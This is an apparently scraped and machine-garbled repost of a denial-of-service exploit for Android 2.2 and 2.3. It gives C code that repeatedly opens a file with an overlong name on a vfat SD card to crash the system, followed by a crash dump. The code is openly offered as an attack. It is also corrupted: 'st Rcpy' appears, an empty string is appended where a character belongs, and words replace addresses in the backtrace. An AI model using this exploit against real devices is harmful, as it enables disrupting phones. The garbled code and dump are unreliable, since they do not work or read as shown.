Android Linux Kernel 2.6 local DoS

# Exploit Title: Android Kernel 2.6 Local DoS # Date: 12/7/12 # Author: G13 # Twitter: @ g13net # Versions: Android 2.2, 2.3 # Category: DoS (android) if you try to write a file with a file name length greater than or equal to 2048 to the SD card (vfat File System) multiple times, the Android operating system will generate a local DoS usage condition: linux Kernel 2.6 (in fact, a previous version of ICS) is successfully run. Using code, the system can be restarted. # include <stdio. h> int main (int argc, char ** argv) {char buf [5000]; int j, k; FILE * fp;/* Path to sdcard, typically/sdcard/*/st Rcpy (buf, "/sdcard/"); for (k = 0; k <= 2048; k ++) {strcat (buf, "");}; for (j = 0; j <= 50; j ++) {fp = fopen (buf, "w") ;}; return 0 ;} the following is the system debugging information *********************************** * ************ Build fingerprint: 'verizon/SCH-I800/SCH-I800: 2.3.4/GINGERBREAD/EF01: user/release-keys 'pid: 349, tid: 363, name: sensorService >>> system_server <signal 8 (SIGFPE), code-6 (?), Fault addr 0000015d r0 00000000 r1 00000008 r2 00000040 r3 00000000 r4 2a114310 r5 00000000 r6 51504690 r7 00000025 r8 2a114330 r9 2a114350 sl 00000003 fp 00000003 ip fffd4084 sp 127lr 40039b70 pc 40037cf0 cpsr 20030010 d0 limit d1 0000000000000000 d2 0000000000000000 d3 d4 0000000000000000 d5 0000000000000000 d6 0000000000000000 d7 0000000000000000 d8 0000000000000000 d9 0000000000000000 d10 0000000000000000 d11 0000000000000000 d12 0000000000000000 d13 0000000000000000 d14 0000000000000000 d15 0000000000000000 d16 3fe9999999a0000000 d17 3fe9999999999a d18 0033003200310030 d19 0000000000000000 d20 417d21 3e66376972bea4d0 d22 %d23 %d24 3fede16b9c24a98f d25 3fe55559ee5e69f9 d26 0000000000000000 d27 0000000000000000 d28 0000000000000005 d29 0000000000000000 d30 0000000000000000 d31 0000000000000000 scr 20000010 backtrace: www.2cto.com #00 pc export dcf0/system/lib/libc. so (kill + 12) #01 pc license fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #02 pc export fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #03 pc prepare fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #04 pc export fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #05 pc export fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #06 pc license fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #07 pc export fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #08 pc export fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #09 pc license fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #10 pc export fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #11 pc samples fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #12 pc export fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #13 pc samples fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #14 pc samples fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #15 pc versions fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8) #16 pc samples fb6c/system/lib/libc. so (_ aeabi_idiv0 + 8)